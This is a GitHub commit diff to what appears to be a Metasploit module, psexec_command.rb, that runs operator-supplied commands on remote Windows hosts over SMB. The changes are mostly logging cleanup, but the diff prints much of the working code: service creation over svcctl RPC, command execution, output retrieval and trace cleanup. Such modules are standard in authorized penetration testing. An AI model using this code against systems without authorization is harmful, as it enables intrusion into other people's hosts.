Skip to content

Commit 414fd05

Browse files
author
jvazquez-r7
committed
final cleanup
1 parent fab3427 commit 414fd05

File tree

1 file changed

+41
-35
lines changed

1 file changed

+41
-35
lines changed

modules/auxiliary/admin/smb/psexec_command.rb

Lines changed: 41 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,10 @@ def initialize(info = {})
5050
deregister_options('RHOST')
5151
end
5252

53+
def peer
54+
return "#{rhost}:#{rport}"
55+
end
56+
5357
# This is the main controle method
5458
def run_host(ip)
5559
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
@@ -61,11 +65,11 @@ def run_host(ip)
6165
begin
6266
smb_login
6367
rescue StandardError => autherror
64-
print_error("Unable to authenticate with given credentials: #{autherror}")
68+
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
6569
return
6670
end
6771
if execute_command(ip, text, bat)
68-
o = get_output(smbshare, ip, text)
72+
get_output(smbshare, ip, text)
6973
end
7074
cleanup_after(smbshare, ip, text, bat)
7175
disconnect
@@ -77,32 +81,32 @@ def execute_command(ip, text, bat)
7781
begin
7882
#Try and execute the provided command
7983
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
80-
print_status("Executing your command on host: #{ip}")
81-
psexec(execute)
82-
return true
84+
print_status("#{peer} - Executing the command...")
85+
return psexec(execute)
8386
rescue StandardError => exec_command_cerror
84-
print_error("#{ip} - Unable to execute specified command: #{exec_command_error}")
85-
return false
87+
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
88+
return false
8689
end
8790
end
8891

8992
# Retrive output from command
9093
def get_output(smbshare, ip, file)
9194
begin
95+
print_status("#{peer} - Getting the command output...")
9296
simple.connect("\\\\#{ip}\\#{smbshare}")
9397
outfile = simple.open(file, 'ro')
9498
output = outfile.read
9599
outfile.close
96100
simple.disconnect("\\\\#{ip}\\#{smbshare}")
97101
if output.empty?
98-
print_status("Command finished with no output")
102+
print_status("#{peer} - Command finished with no output")
99103
return
100104
end
101-
print_good("Command completed successfuly! Output from: #{ip}\r\n#{output}")
102-
return output
105+
print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}")
106+
return
103107
rescue StandardError => output_error
104-
print_error("#{ip} - Error getting command output. #{output_error.class}. #{output_error}.")
105-
return nil
108+
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
109+
return
106110
end
107111
end
108112

@@ -111,15 +115,16 @@ def cleanup_after(smbshare, ip, text, bat)
111115
begin
112116
# Try and do cleanup command
113117
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
114-
print_status("Executing cleanup on host: #{ip}")
118+
print_status("#{peer} - Executing cleanup...")
115119
psexec(cleanup)
116120
if !check_cleanup(smbshare, ip, text)
117-
print_error("#{ip} - Unable to cleanup. Need to manually remove #{text} and #{bat} from the target.")
121+
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.")
118122
else
119-
print_status("#{ip} - Cleanup was successful")
123+
print_status("#{peer} - Cleanup was successful")
120124
end
121125
rescue StandardError => cleanuperror
122-
print_error("Unable to processes cleanup commands: #{cleanuperror}")
126+
print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}")
127+
print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target")
123128
return cleanuperror
124129
end
125130
end
@@ -147,11 +152,11 @@ def psexec(command)
147152
simple.connect("IPC$")
148153

149154
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
150-
vprint_status("Binding to #{handle} ...")
155+
vprint_status("#{peer} - Binding to #{handle} ...")
151156
dcerpc_bind(handle)
152-
vprint_status("Bound to #{handle} ...")
157+
vprint_status("#{peer} - Bound to #{handle} ...")
153158

154-
vprint_status("Obtaining a service manager handle...")
159+
vprint_status("#{peer} - Obtaining a service manager handle...")
155160
scm_handle = nil
156161
stubdata =
157162
NDR.uwstring("\\\\#{rhost}") +
@@ -163,8 +168,8 @@ def psexec(command)
163168
scm_handle = dcerpc.last_response.stub_data[0,20]
164169
end
165170
rescue ::Exception => e
166-
print_error("Error: #{e}")
167-
return
171+
print_error("#{peer} - Error: #{e}")
172+
return false
168173
end
169174

170175
servicename = Rex::Text.rand_text_alpha(11)
@@ -191,24 +196,24 @@ def psexec(command)
191196
NDR.long(0) + # Password
192197
NDR.long(0) # Password
193198
begin
194-
vprint_status("Creating the service...")
199+
vprint_status("#{peer} - Creating the service...")
195200
response = dcerpc.call(0x0c, stubdata)
196201
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
197202
svc_handle = dcerpc.last_response.stub_data[0,20]
198203
svc_status = dcerpc.last_response.stub_data[24,4]
199204
end
200205
rescue ::Exception => e
201-
print_error("Error: #{e}")
202-
return
206+
print_error("#{peer} - Error: #{e}")
207+
return false
203208
end
204209

205-
vprint_status("Closing service handle...")
210+
vprint_status("#{peer} - Closing service handle...")
206211
begin
207212
response = dcerpc.call(0x0, svc_handle)
208213
rescue ::Exception
209214
end
210215

211-
vprint_status("Opening service...")
216+
vprint_status("#{peer} - Opening service...")
212217
begin
213218
stubdata =
214219
scm_handle +
@@ -220,11 +225,11 @@ def psexec(command)
220225
svc_handle = dcerpc.last_response.stub_data[0,20]
221226
end
222227
rescue ::Exception => e
223-
print_error("Error: #{e}")
224-
return
228+
print_error("#{peer} - Error: #{e}")
229+
return false
225230
end
226231

227-
vprint_status("Starting the service...")
232+
vprint_status("#{peer} - Starting the service...")
228233
stubdata =
229234
svc_handle +
230235
NDR.long(0) +
@@ -234,30 +239,31 @@ def psexec(command)
234239
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
235240
end
236241
rescue ::Exception => e
237-
print_error("Error: #{e}")
238-
return
242+
print_error("#{peer} - Error: #{e}")
243+
return false
239244
end
240245

241-
vprint_status("Removing the service...")
246+
vprint_status("#{peer} - Removing the service...")
242247
stubdata =
243248
svc_handle
244249
begin
245250
response = dcerpc.call(0x02, stubdata)
246251
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
247252
end
248253
rescue ::Exception => e
249-
print_error("Error: #{e}")
254+
print_error("#{peer} - Error: #{e}")
250255
end
251256

252-
vprint_status("Closing service handle...")
257+
vprint_status("#{peer} - Closing service handle...")
253258
begin
254259
response = dcerpc.call(0x0, svc_handle)
255260
rescue ::Exception => e
256-
print_error("Error: #{e}")
261+
print_error("#{peer} - Error: #{e}")
257262
end
258263

259264
select(nil, nil, nil, 1.0)
260265
simple.disconnect("IPC$")
266+
return true
261267
end
262268

263269
end

0 commit comments

Comments
 (0)